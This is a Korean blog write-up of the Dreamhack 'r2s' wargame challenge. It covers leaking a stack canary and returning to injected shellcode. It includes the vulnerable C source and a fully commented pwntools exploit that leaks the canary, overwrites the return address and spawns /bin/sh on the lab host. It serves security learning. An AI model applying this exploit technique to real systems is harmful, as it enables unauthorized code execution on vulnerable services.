System Hacking 중 Canary에 대한 문제, 이것을 오늘 풀어보겠다.
문제 파일을 받을 수 있는데 원래의 c코드랑 이것에 해당하는 바이너리 파일 두개가 있다.
본 게시글 작성자는 wsl에서 문제를 풀었다.
[문제 분석]
우선 r2s에 적용된 보안에 대해서 살펴보자면
amd64를 사용하고 Canary found로 되어있는 것을 확인할 수 있다. 확인 command는 아래와 같다.
checksec r2s
Canary가 잘 걸려있는 것을 확인할 수 있다.
// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main() {
char buf[0x50];
init();
printf("Address of the buf: %p\n", buf);
printf("Distance between buf and $rbp: %ld\n",
(char*)__builtin_frame_address(0) - buf);
printf("[1] Leak the canary\n");
printf("Input: ");
fflush(stdout);
read(0, buf, 0x100);
printf("Your input is '%s'\n", buf);
puts("[2] Overwrite the return address");
printf("Input: ");
fflush(stdout);
gets(buf);
return 0;
}
제공된 c코드는 위와 같다.
1. buf의 주소 알려줌 -> 편의를 위해 buf 주소와 rbp로 부터 떨어진 주소를 알려준다.
2. buf입력을 두번 받는데, 모두 오버플로우 공격이 가능하다. ( 1. read(0, buf, 0x100 / 2. gets(buf) )
위 사항을 통해 처음 입력시 canary를 얻고난 후, 두 번째 입력 시에 canary와 shellcode를 입력한 후에 셸을 얻어서 공격해야 한다.
-> 카나리 개념 참고에 도움이 많이 된다.
[Write Up]
사용 tool : wsl, pwntools
#!/usr/bin/env python3
# Name: r2s.py
from pwn import *
def slog(n, m): #로그 출력을 위한 함수
return success(': '.join([n, hex(m)])) #n과 m을 받아서 성공 메시지로 출력. m은 16진수 형식으로 출력.
p = remote('host3.dreamhack.games', 20965) #remote로 드림핵 wargame 가상 주소와 연결
context.arch = 'amd64' #아키텍쳐를 amd64로 설정
# [1] Get information about buf
p.recvuntil(b'buf: ') #서버로 부터 'buf: '라는 문자열을 받을 때까지 데이터 수신
buf = int(p.recvline()[:-1], 16) #이 다음에 오는 주소를 buf라는 현재 함수의 변수에 저장
slog('Address of buf', buf) #buf의 주소를 log에 출력
p.recvuntil(b'$rbp: ') #서버로부터 '$rbp: '라는 문자열을 받을 때까지 데이터 수신
buf2sfp = int(p.recvline().split()[0]) #그 후 값을 정수로 변환하여 저장. buf와 sfp사이의 offset
buf2cnry = buf2sfp - 8 #buf와 canary 사이의 offset
slog('buf <=> sfp', buf2sfp) #buf와 sfp 사이의 offset 출력
slog('buf <=> canary', buf2cnry) #buf와 canary 사이의 offset 출력
# [2] Leak canary value
payload = b'A'*(buf2cnry + 1)
# 위 작업은 카나리 유출을 위한 작업. Canary 전까지 A(쓸모없는 값)으로 채움 / (+1)을 하는 이유는-> Canary의 첫번째 바이트는 NULL
p.sendafter(b'Input:', payload) # Input: 프롬프트 이후에 페이로드를 서버로 전송
p.recvuntil(payload) #payload가 다시 전송될 때까지 데이터 수신
cnry = u64(b'\x00'+p.recvn(7)) #받은 값에 NULL 을 붙여서 결합 후 u64를 통해 64비트 정수로 언팩킹해서 저장
slog('Canary', cnry) #canary 값 출력
# [3] Exploit
sh = asm(shellcraft.sh()) #/bin/sh를 실행하는 셸코드 생성
payload = sh.ljust(buf2cnry, b'A') + p64(cnry) + b'B'*0x8 + p64(buf)
# payload에 저장. (셸코드 + buf2cnry길이만큼 'A'로 패딩 + canary값 64비트 패킹:리틀 엔디언 + 쓸모없는 값으로 8바이트 저장 sfp덮기 위함 + buf의 주소 64비트로 패킹 : 오버플로우)
p.sendlineafter(b'Input:', payload) #input: 이후 payload 전송
p.interactive() #셸이 성공적으로 생성되었을 때 사용자가 상호작용할 수 있게 함
작성된 파이썬 코드이다. 기존 Dreamhack 강의 내용의 코드를 그대로 따왔으며 주석으로 모든 코드에 대한 설명을 달아놓았기 때문에 한 줄 한 줄 읽으면 도움이 될 것이다.
* 유심히 봐야할 점
1. 카나리 유출 후 덮는 과정
2. u64, p64 사용
실행 결과
log로 buf의 주소, buf와 sfp사이의 거리, buf와 canary 사이의 거리, Canary 값이 출력되는 것을 확인할 수 있다.
이후 성공적으로 셸 코드가 인식된 것을 확인할 수 있다.
'System Hacking' 카테고리의 다른 글
[System Hacking] Dreamhack : Return to Library 문제 풀이 (RTL) (0) | 2024.08.24 |
---|---|
[System Hacking] Dreamhack : ssp_001 문제 풀이 (Canary) (0) | 2024.08.22 |